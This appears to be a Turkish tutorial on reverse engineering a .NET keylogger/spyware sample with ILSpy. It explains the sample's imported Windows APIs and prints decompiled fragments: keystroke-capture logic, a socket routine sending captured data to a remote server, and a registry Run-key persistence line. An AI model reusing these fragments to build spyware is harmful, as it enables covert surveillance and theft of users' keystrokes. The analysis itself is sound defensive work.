ILSPY ile Zararlı bir .NET PE'sine Reverse Engineering.

ILSPY, bir .NET decompiler yazılımıdır. .NET kullanılarak oluşturulmuş yazılımın kaynak koduna erişmemizi ve bunları incelememizi sağlar. Aynı zamanda da ILSPY bir reverse engineering tool'u olarakta kabul edilebilir.

.NET ile oluşturulmuş zararlının kaynak kodunu gelin birlikte inceleyelim.

Öncelikle ILSPY'ı indirmekle başlayalım. Aşağıdaki linkten .msi dosyasını indirip kolaylıkla kurabiliriz.

https://github.com/icsharpcode/ILSpy/releases

Kurulum sırasında eğer "The system administrator has set policies to prevent this installation" hatası ile karşılaşılırsa, aşağıdaki linkteki adımları takip edebilirsiniz.

https://www.prajwaldesai.com/system-administrator-has-set-policies-to-prevent-installation/ Kurulumun tamamlanmasının ardında yazılımı ILSPY ile açalım ve yazılımın amacını anlamak üzere içerdiği metod ve class'ları incelemeye başlayalım.

GetAsyncKeyState

User32 kütüphanesinden import edilen GetAsyncKeyState, bir tuşun basılı olup olmadığını, basılıysa basılı kalma süresini ve basılı olduğu tuş kombinasyonunu verir.

private static extern short GetAsyncKeyState(int a);

GetKeybordLayout

User32.dll kütüphanesinden import edilen GetKeybordLayout, klavye düzeni hakkında bilgiyi döndürür. Bu da bulaştığı bilgisayarın klavye düzeni bilgisini elde ederek girdileri bu bilgiye göre değerlendirmesine olanak sağlayabilir.

ToUnicodeEx

User32.dll kütüphanesinden import edilen ToUnicodeEx, klavye girişlerini unicode'a dönüştürmek için kullanılır. Bunun keylogger tarafından kullanılmasının bir sebebi, farklı klavye düzenleri ve dilleri arasında kaybolmamak ve kullanıcının klavye vuruşlarının daha efektif ve doğru bir şekilde almak olabilir.

private static extern int ToUnicodeEx(uint a, uint b, byte[] c, [Out][MarshalAs(UnmanagedType.LPWStr)] StringBuilder d, int e, uint f, IntPtr g);

Burada "[Out][MarshalAs(UnmanagedType.LPWStr)] StringBuilder d" dönüştürülen unicode'un depolanacağı buffer'i ifade etmektedir.

capGetDriverDescriptionA

Avicap32.dll kütüphanesinden import edilen capGetDriverDescriptionA fonsiyonunun amacı sistemde bir kamera olup olmadığını kontrol etmektir.

Fix Methodu

Can alıcı kısmı ise burası aslında. Bu methodda da aslında klavye vuruşlarını text isimli bir diziye kaydeder. Bu kaydetme işlemlerini belirli koşullara bağlar. Örnek vermek gerekirse, tuş basımı delete ve back değilse ve ctrl, alt ve F tuşlarına eşit değilse gibi koşullara bağlar ve bunlar sağlandığında tuş basımını text dizesine yazdırır.

text = ((k != Keys.Delete && k != Keys.Back) ? ((k != Keys.LShiftKey && k != Keys.RShiftKey && k != Keys.Shift && k != Keys.ShiftKey && k != Keys.Control && k != Keys.ControlKey && k != Keys.RControlKey && k != Keys.LControlKey && k != Keys.Alt && k != Keys.F1 && k != Keys.F2 && k != Keys.F3 && k != Keys.F4 && k != Keys.F5 && k != Keys.F6 && k != Keys.F7 && k != Keys.F8 && k != Keys.F9 && k != Keys.F10 && k != Keys.F11 && k != Keys.F12 && k != Keys.End) ? ((k == Keys.Space) ? " " : ((k == Keys.Return) ? "[ENTER]\r\n" : ((k == Keys.Tab) ? "[TAP]\r\n" : ((k != Keys.Capital && k != Keys.Capital) ? k.ToString() : "[CapsLock]\r\n")))) : "") : ("[" + k.ToString() + "]"));

Buraya kadarki kısımları incelediğimizde görebileceğimiz gibi bu zararlının gerçekleştirdiği faliyetlerden biri keylogger davranışıdır.

Sendb()

MemoryStream memoryStream = new MemoryStream();
string S = b.Length + "\0";
byte[] array = SB(ref S);
memoryStream.Write(array, 0, array.Length);
memoryStream.Write(b, 0, b.Length);
C.Client.Send(memoryStream.ToArray(), 0, checked((int)memoryStream.Length), SocketFlags.None);

Yani bu fonksiyon, memory stream ile alınan veriyi uzak sunucuya göndermeye çalışıyor olabilir.

UNS()

Bu kod parçası ile zararlı yazılımın kendini kaldırmak ve kalıntılarını silmek için tasarlanmış gibi durmaktadır. Zararlılar, kalıcılıklarını engellemek ve olay sonrasındaki analizleri zorlaştırmak adına kendi kendilerini temizleyebilirler.

Connect()

Kritik bir diğer method ise Connect'tir. Bu da aslında kısaca uzak bir sunucudan veri göndermeyi hedeflediği IP ve port bilgilerini çekmeye çalışır. Ardından da bu bilgilerdeki hedefe veri göndermeyi hedefliyor olabilir diyebiliriz.

Yukarıdaki DownloadHostOrNotURL değişkenine atanmış URL yine kaynak kodları arasında yer almaktadır.

İlgili linkteki dosya indirildiğinde ise aşağıdaki gibi bir dosya ile karşılaşılmaktadır.

Yani alışıla gelmedik bir port üzerinden dışarıya açılmış bir C2 yada data exfiltre sunucusu olduğunu düşünmekteyim.

AdicionarAplicacaoAoIniciar()

using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true);
registryKey.SetValue(EXE, "\"" + Application.ExecutablePath + "\"");

Bu kod parçası ile de zararlı yazılım kendisini bilgisayar her başlatıldığında çalıştırılması için gerekli registery yoluna kaydediyor.

Aşağıdaki kısım ise executable'nin string'leri arasında bulunan bir fonksiyondur ve ekranın ekran görüntüsünü almaktadır. Bu da spyware davranışlarından biridir.

Aynı şekilde UserString'leri arasında da kendisini Run path'ine yazdırmaktadır. Bu da kullanıcı oturumu başlatıldığında otomatik olarak başlatılacak programların bilgilerini içerir.

Last updated